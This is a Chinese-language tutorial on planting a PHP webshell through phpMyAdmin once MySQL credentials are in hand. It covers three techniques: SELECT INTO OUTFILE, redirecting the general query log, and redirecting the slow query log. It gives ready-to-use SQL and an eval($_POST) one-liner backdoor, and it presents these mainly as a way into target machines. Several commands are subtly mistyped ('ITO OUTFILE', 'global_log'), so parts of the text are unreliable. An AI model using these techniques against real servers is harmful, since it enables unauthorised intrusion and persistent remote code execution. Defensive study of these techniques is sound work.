PHPMyAdmin后台GetShell姿势总结
前言:
phpMyAdmin是一个以PHP为基础,以web方式架构在服务器上的MySQL的数据库管理工具。让管理者可以通过Web接口来管理MySQL数据库。因其基于Web的简便易操作的图形化界面备受网站管理者的喜爱。
当我们通过其它各类手段获取到MySQL账户和密码,可以成功登录到phpMyAdmin的后台时,可以通过以下几种方式将webshell写入到目标机器中。
本地环境:
虚拟机windows7、php5.6.9、phpMyAdmin4.8.0
数据库文件导出写入
当数据库服务开启了文件导入导出功能时,使用select into outfile
语句将webshell写入。
利用条件
- 数据库root权限
- 数据库字段
secure_file_priv
没有具体的值 - 获得网站的绝对路径
利用方式
1.执行sql语句show global variables like '%secure%',查看数据库字段secure_file_priv的内容。该字段的内容无法通过sql语句修改,需要修改mysql配置文件my.ini
- secure_file_priv=null 不允许文件的导入导出
- secure_file_priv=xxx 文件导入导出到某路径
- secure_file_priv= 文件可导入到任意路径
2.可以通过页面报错、php探针等手段获取到网站服务的绝对路径后,执行下面的sql语句即可将webshell写入。
select '<?php @eval($_POST[shell]);?>'INTO OUTFILE 'D:/xxx/WWW/shell.php'
3.当然也可以将webshell写入到表中的字段,通过将表导出为php文件来实现写入webshell。执行下面的sql语句即可。
CREATE TABLE hack.test( id text(500) not null); INSERT INTO hack.test (id) VALUES('<?php @eval($_POST[cmd]);?>'); SELECT id FROM hack ITO OUTFILE 'D:/phpstudy_pro/WWW/1.php'; DROP TABLE IF EXISTS test;
数据库全局日志写入
将数据库全局日志保存为web目录下的php文件来实现webshell写入。
利用条件
- 数据库root权限
- 获得网站的绝对路径
利用方式
- 执行下面的sql语句查询MySQL是否开启了全局日志以及全局日志的存放位置。
SHOW VARIABLES LIKE '%general%'
2.如果全局日志关闭,可以 通过set global_log = on
打开全局日志功能。
3.修改或设置全局日志的保存目录为网站的web目录,并且日志保存为php文件。
set global log file = 'xxx/WWW/22.php'
4.设置好以后,我们执行的sql语句就会记录到上述设置的全局日志当中。只需要在sql语句中包含一句话木马即可。
select '<?php eval($_POST[shell]); ?>'
数据库慢查询日志写入
慢日志查询:记录所有执行时间超过字段long_query_time
规定时间的所有查询或者不使用索引的查询。默认情况下慢查询日志为关闭状态,long_query_time
值为10秒。
利用条件
- 数据库root权限
- 获得网站绝对路径
利用方式
- 执行下面的sql语句查询数据库慢查询日志的配置情况
show variables like '%slow%'
2.如果慢查询日志关闭,可以 通过set global slow_query_log=on;
打开全局日志功能。
3.修改或设置慢查询日志的保存目录为网站的web目录,并且日志保存为php文件。
set global slow_query_log_file='xxx/WWW/slow.php'
4.执行包含一句话的sql语句,并且使用sleep(10)
来使得这个sql语句为一个慢查询语句,使其记录到慢查询日志中即可。